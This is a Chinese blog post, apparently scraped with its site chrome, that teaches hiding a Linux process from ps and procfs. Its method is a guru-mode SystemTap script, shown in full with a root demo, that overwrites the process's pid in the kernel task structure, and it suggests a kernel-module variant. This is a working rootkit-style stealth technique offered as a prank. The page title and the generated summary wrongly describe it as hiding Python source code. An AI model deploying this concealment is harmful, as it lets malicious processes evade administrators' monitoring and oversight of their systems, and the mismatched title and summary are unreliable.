linux服务器跑python程序 不想让别人看到源代码_一行代码教你如何隐藏Linux进程...

本文介绍一种简单的方法,通过修改进程PID来实现Linux中Python程序的小隐于用户级别的隐藏,避免源代码被直接查看。这种方法并不适合反制,而是作为一个趣味性的技巧。文章提供了一个guru模式的SystemTap脚本示例,并提到可以进一步研究通过编写Linux kernel module来实现类似效果。同时,作者警告不要尝试反制这种简单方法,并建议阅读其Rootkit系列文章以了解更深入的进程隐藏技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。

网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。

本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码:

修改掉进程的pid即可。

注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了。

target->pid = 0x7fffffff;

完整的脚本如下:

#!/usr/bin/stap -g

# hide.stp

global pid;

function hide(who:long)

%{

struct task_struct *target;

target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);

target->pid = 0x7fffffff;

%}

probe begin

{

pid = $1

hide(pid);

exit();

}

来来来,试一下:

[root@localhost system]# ./tohide &

[1] 403

[root@localhost system]# ./hide.stp

[root@localhost system]#

用下面的命令可以检测所有可显示进程的二进制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do

ls -l /proc/$pid/exe;

done

procfs里没了,ps当然就检测不到了。

如果你觉得guru模式的stap怪怪的,那么你完全可以编写自己独立的Linux kernel module,采用修改完即退的方法:

target->pid = xxxx;

return -1;

是不是比各种hook法简单多了,所谓的 动数据而不要动代码!

简单的说一下原理。

task被创建的时候,根据其pid注册procfs目录结构。

展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。

0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。

不多说。

再次声明,不要试图对本文所描述的方法进行反制,因为这么简单的东西根本不值得反制,哈哈,不是吗?

可以参考我之前的Rootkit系列文章来继续研究Linux进程大隐于内核的方法。同时,每一种方法我都给出了反制措施。

到此这篇关于一行代码教你如何隐藏Linux进程的文章就介绍到这了,更多相关Linux隐藏进程内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

时间: 2020-08-20

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值